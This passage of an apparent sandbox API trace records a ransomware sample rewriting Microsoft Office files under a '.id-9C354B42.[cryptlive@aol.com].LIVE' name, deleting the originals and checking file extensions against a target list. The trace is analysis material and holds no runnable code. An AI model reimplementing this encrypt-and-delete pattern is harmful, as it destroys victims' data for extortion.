liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0135.177] GetLastError () returned 0x0 [0135.177] ReadFile (in: hFile=0x39c, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x2135, lpOverlapped=0x0) returned 1 [0135.189] WriteFile (in: hFile=0x350, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x2140, lpOverlapped=0x0) returned 1 [0135.190] ReadFile (in: hFile=0x39c, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.190] WriteFile (in: hFile=0x350, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.190] SetEndOfFile (hFile=0x350) returned 1 [0135.190] CloseHandle (hObject=0x350) returned 1 [0135.191] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.191] SetEndOfFile (hFile=0x39c) returned 1 [0135.193] CloseHandle (hObject=0x39c) returned 1 [0135.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.257] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid")) returned 1 [0135.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0135.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0135.272] lstrlenW (lpString=".doc") returned 4 [0135.272] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.272] lstrlenW (lpString=".docx") returned 5 [0135.272] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.272] lstrlenW (lpString=".pdf") returned 4 [0135.272] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.272] lstrlenW (lpString=".xls") returned 4 [0135.272] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.272] lstrlenW (lpString=".xlsx") returned 5 [0135.272] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.272] lstrlenW (lpString=".ppt") returned 4 [0135.272] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0135.272] lstrlenW (lpString=".zip") returned 4 [0135.272] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.272] lstrlenW (lpString=".rar") returned 4 [0135.272] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.273] lstrlenW (lpString=".bz2") returned 4 [0135.273] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.273] lstrlenW (lpString=".7z") returned 3 [0135.273] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0135.273] lstrlenW (lpString=".dbf") returned 4 [0135.273] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0135.273] lstrlenW (lpString=".1cd") returned 4 [0135.273] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0135.273] lstrlenW (lpString=".jpg") returned 4 [0135.273] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0135.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0135.273] lstrlenW (lpString=".doc") returned 4 [0135.273] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.273] lstrlenW (lpString=".docx") returned 5 [0135.273] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.273] lstrlenW (lpString=".pdf") returned 4 [0135.273] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.273] lstrlenW (lpString=".xls") returned 4 [0135.273] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.273] lstrlenW (lpString=".xlsx") returned 5 [0135.273] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.273] lstrlenW (lpString=".ppt") returned 4 [0135.273] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0135.273] lstrlenW (lpString=".zip") returned 4 [0135.273] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.274] lstrlenW (lpString=".rar") returned 4 [0135.274] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.274] lstrlenW (lpString=".bz2") returned 4 [0135.274] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.274] lstrlenW (lpString=".7z") returned 3 [0135.274] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0135.274] lstrlenW (lpString=".dbf") returned 4 [0135.274] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0135.274] lstrlenW (lpString=".1cd") returned 4 [0135.274] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0135.274] lstrlenW (lpString=".jpg") returned 4 [0135.274] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.274] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0135.274] lstrlenW (lpString="Angles.eftx") returned 11 [0135.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0135.292] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=27365) returned 1 [0135.292] CloseHandle (hObject=0x1ec) returned 1 [0135.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx")) returned 0x20 [0135.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0135.293] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.293] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0135.294] GetLastError () returned 0x0 [0135.294] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x6ae5, lpOverlapped=0x0) returned 1 [0135.295] WriteFile (in: hFile=0x394, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x6af0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x6af0, lpOverlapped=0x0) returned 1 [0135.297] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.297] WriteFile (in: hFile=0x394, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0135.297] SetEndOfFile (hFile=0x394) returned 1 [0135.297] CloseHandle (hObject=0x394) returned 1 [0135.297] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.297] SetEndOfFile (hFile=0x1ec) returned 1 [0135.301] CloseHandle (hObject=0x1ec) returned 1 [0135.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx")) returned 1 [0135.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0135.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0135.302] lstrlenW (lpString=".doc") returned 4 [0135.302] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.302] lstrlenW (lpString=".docx") returned 5 [0135.302] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.302] lstrlenW (lpString=".pdf") returned 4 [0135.302] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.302] lstrlenW (lpString=".xls") returned 4 [0135.302] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.302] lstrlenW (lpString=".xlsx") returned 5 [0135.302] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.302] lstrlenW (lpString=".ppt") returned 4 [0135.302] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0135.303] lstrlenW (lpString=".zip") returned 4 [0135.303] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.303] lstrlenW (lpString=".rar") returned 4 [0135.303] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.303] lstrlenW (lpString=".bz2") returned 4 [0135.303] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.303] lstrlenW (lpString=".7z") returned 3 [0135.303] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0135.303] lstrlenW (lpString=".dbf") returned 4 [0135.303] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0135.303] lstrlenW (lpString=".1cd") returned 4 [0135.303] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0135.303] lstrlenW (lpString=".jpg") returned 4 [0135.303] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0135.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0135.304] lstrlenW (lpString=".doc") returned 4 [0135.304] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.304] lstrlenW (lpString=".docx") returned 5 [0135.304] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.304] lstrlenW (lpString=".pdf") returned 4 [0135.304] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.304] lstrlenW (lpString=".xls") returned 4 [0135.304] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.304] lstrlenW (lpString=".xlsx") returned 5 [0135.304] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.304] lstrlenW (lpString=".ppt") returned 4 [0135.304] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0135.304] lstrlenW (lpString=".zip") returned 4 [0135.304] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.304] lstrlenW (lpString=".rar") returned 4 [0135.304] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.304] lstrlenW (lpString=".bz2") returned 4 [0135.304] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.304] lstrlenW (lpString=".7z") returned 3 [0135.304] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0135.304] lstrlenW (lpString=".dbf") returned 4 [0135.304] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0135.304] lstrlenW (lpString=".1cd") returned 4 [0135.304] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0135.304] lstrlenW (lpString=".jpg") returned 4 [0135.304] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.305] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0135.305] lstrlenW (lpString="Apex.eftx") returned 9 [0135.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0135.306] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=218310) returned 1 [0135.306] CloseHandle (hObject=0x1ec) returned 1 [0135.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx")) returned 0x20 [0135.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0135.306] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.306] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0135.330] GetLastError () returned 0x0 [0135.330] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x354c6, lpOverlapped=0x0) returned 1 [0135.338] WriteFile (in: hFile=0x390, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x354d0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x354d0, lpOverlapped=0x0) returned 1 [0135.342] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.342] WriteFile (in: hFile=0x390, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0135.342] SetEndOfFile (hFile=0x390) returned 1 [0135.343] CloseHandle (hObject=0x390) returned 1 [0135.343] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.343] SetEndOfFile (hFile=0x1ec) returned 1 [0135.349] CloseHandle (hObject=0x1ec) returned 1 [0135.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx")) returned 1 [0135.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0135.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0135.350] lstrlenW (lpString=".doc") returned 4 [0135.350] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.350] lstrlenW (lpString=".docx") returned 5 [0135.350] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.350] lstrlenW (lpString=".pdf") returned 4 [0135.350] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.350] lstrlenW (lpString=".xls") returned 4 [0135.350] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.350] lstrlenW (lpString=".xlsx") returned 5 [0135.350] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.350] lstrlenW (lpString=".ppt") returned 4 [0135.350] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0135.350] lstrlenW (lpString=".zip") returned 4 [0135.350] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.350] lstrlenW (lpString=".rar") returned 4 [0135.350] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.350] lstrlenW (lpString=".bz2") returned 4 [0135.350] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.350] lstrlenW (lpString=".7z") returned 3 [0135.351] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0135.351] lstrlenW (lpString=".dbf") returned 4 [0135.351] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0135.351] lstrlenW (lpString=".1cd") returned 4 [0135.351] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0135.351] lstrlenW (lpString=".jpg") returned 4 [0135.351] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0135.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0135.351] lstrlenW (lpString=".doc") returned 4 [0135.351] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.351] lstrlenW (lpString=".docx") returned 5 [0135.351] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.351] lstrlenW (lpString=".pdf") returned 4 [0135.351] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.351] lstrlenW (lpString=".xls") returned 4 [0135.351] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.351] lstrlenW (lpString=".xlsx") returned 5 [0135.351] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.351] lstrlenW (lpString=".ppt") returned 4 [0135.351] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0135.351] lstrlenW (lpString=".zip") returned 4 [0135.351] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.351] lstrlenW (lpString=".rar") returned 4 [0135.351] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.352] lstrlenW (lpString=".bz2") returned 4 [0135.352] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.352] lstrlenW (lpString=".7z") returned 3 [0135.352] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0135.352] lstrlenW (lpString=".dbf") returned 4 [0135.352] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0135.352] lstrlenW (lpString=".1cd") returned 4 [0135.352] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0135.352] lstrlenW (lpString=".jpg") returned 4 [0135.352] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.352] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0135.352] lstrlenW (lpString="Aspect.eftx") returned 11 [0135.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0135.354] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=22554) returned 1 [0135.354] CloseHandle (hObject=0x1ec) returned 1 [0135.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx")) returned 0x20 [0135.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0135.355] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.355] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0135.356] GetLastError () returned 0x0 [0135.356] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, 